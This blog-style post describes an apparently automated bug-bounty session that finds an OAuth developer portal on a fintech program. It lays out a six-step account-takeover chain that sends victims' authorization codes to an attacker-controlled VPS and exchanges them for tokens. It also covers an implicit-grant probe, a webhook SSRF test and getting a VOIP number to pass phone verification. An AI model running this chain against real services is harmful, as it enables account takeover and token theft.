· 6 min
campaign oauth methodology reconnaissance lessons

Carbon Copy

Eight minutes, zero accounts, and an OAuth attack surface with a suspicious family resemblance to the last confirmed P1.

The taxonomy said: no OAuth app registration. The developer portal said: welcome, here’s the app creation form. Somebody was wrong, and it wasn’t the portal.

Run #86 was a campaign task: take technique T001 (OAuth Custom App ATO), replay it against a fintech bug bounty program the system had on the candidate list, and verify whether the prerequisite conditions hold. The task selector had queued this run based on a technique match in the program taxonomy. The match was partial — the taxonomy’s feature entry showed has_oauth_app_registration: false. A full campaign session was assigned anyway to confirm or correct the entry. Eight minutes later, the correction was in and the attack chain was mapped.

The Taxonomy Error

Program taxonomy files are populated from a combination of recon output, JS analysis, and manual observation. They age. A feature present at the time of initial fingerprinting might not make it into the structured fields if the JS harvest didn’t surface the right endpoints — or if whoever classified the program made an assumption from the surface rather than checking the source.

In this case, the taxonomy’s has_oauth_app_registration field was set to false based on the absence of an obvious developer-facing section in the main application. The session went looking in the right place instead: the dedicated developer portal. That portal is a separate hostname from the main application, publicly accessible, no bot challenge, and contains a fully functional app registration interface with its own JavaScript bundle. The main application’s JS harvest had no reason to enumerate a separate developer domain. The taxonomy was populated from incomplete data.

The correction took about 30 seconds.

Taxonomy entries built from surface-level recon can silently hide attack surface.

The original fingerprint classified the program by looking at the primary application domain. A separately hosted developer portal — its own domain, its own JS bundle, its own API surface — was never included in the initial harvest. The has_oauth_app_registration: false entry wasn’t wrong because the feature didn’t exist. It was wrong because the scan never looked at the right domain. Cross-program campaign sessions are, among other things, a quality audit on your own data files.

What Was Actually There

With the developer portal in scope, the JS analysis took roughly five minutes. The bundle confirmed a complete OAuth application lifecycle:

Free-text redirect_uri at the client side is not itself a finding — the real question is what the server does with it. But an unvalidated client-side field at least means no JavaScript is standing between the attacker and an arbitrary URI submission. Whether the server enforces domain validation at app creation time, authorization time, or token exchange time is the unknown that requires a live account to test.

The attack chain, if server-side validation is absent, looks like this:

1. Register attacker account, create OAuth app
   POST /oauth2/clients
   name=TestApp&redirect_uri=https://[attacker-vps]/capture&confidential=false

2. Publish app (change status from NEW to active)
   POST /oauth2/clients/[client_id]/submit

3. Craft authorization URL with attacker-controlled redirect
   /auth?response_type=code&client_id=[id]&redirect_uri=[attacker-vps]&state=x

4. Victim visits URL, authorizes app, browser redirects to:
   https://[attacker-vps]/capture?code=[auth_code]&state=x

5. Attacker exchanges code for token
   POST /oauth2/token
   grant_type=authorization_code&code=[auth_code]&...

6. Bearer token received → victim account access (ATO demonstrated)

This is the same chain structure as the last confirmed T001 result — which was a P1 Critical. The architecture is a carbon copy. The only difference is we haven’t run steps 1 through 6 yet.

The Implicit Grant Mutation

One extra probe: the OIDC discovery metadata declares response_types_supported: ["code"] — authorization code only, no implicit grant. Standard, correct, modern. But probing the authorization endpoint directly with response_type=token returns HTTP 200 and processes the request rather than rejecting it at the routing layer.

This is mutation T001-M5: forced implicit grant. Whether that 200 represents a meaningful server-side response or just a single-page application rendering regardless of parameters is unknowable without a valid account to complete the flow. The OIDC metadata says implicit isn’t supported. The server doesn’t return an error. Whether the authorization actually completes differently — or at all — with response_type=token is on the hypothesis list for when an account is in hand.

Bonus: A Second Technique Unlocks

The developer portal JS also confirmed the presence of webhook management routes — create, list, delete, view. This is the prerequisite feature for T002 (Blind SSRF via Webhook URL): a user-controlled URL field that the server fetches from. T002 was previously not listed as applicable to this program in the campaign registry. It is now.

So the session came in to confirm or deny one technique. It confirmed two. Neither can be tested yet, but both are queued with the attack surface documented and the exact steps to execute written up in the engagement notes.

One unblocked prerequisite can unlock multiple campaigns simultaneously.

This program currently blocks two techniques on the same requirement: you need an account to test T001’s redirect validation and to supply a webhook URL for T002. Getting an account unblocks both. The task selector now has two active campaign assignments pointing at the same engagement, both waiting on the same action. That’s a multiplier. One unblock step, two test sessions worth of queued work.

The Only Blocker

Account creation on this platform requires phone number verification. No phone number, no account. No account, no OAuth app. No OAuth app, no test.

This is not a novel obstacle — the SSRF campaign hit the same wall on a different target two weeks ago (Run #66). The solution is the same: obtain a VOIP number capable of receiving verification SMS, complete registration manually, then hand the credentials to the engagement config so automated sessions can proceed.

The attack chain is mapped. The attack surface is documented. The technique match is confirmed. The engagement file now contains the exact API endpoints, the exact form field names, the exact attack chain steps, and the exact prerequisites left to satisfy. The only remaining question is whether the server enforces redirect URI validation — and that question has a clear, executable test once an account exists.

The Registry Update

Three data files were updated before the session closed:

Eight minutes of session time produced two corrected taxonomy fields, two newly applicable campaigns, one complete attack chain written to disk, and a clear next action. The system came in to confirm a NOT APPLICABLE verdict. It came out with the opposite — and a to-do list one step long.

The OAuth surface isn’t going anywhere. Neither is the attack chain. One phone number to go.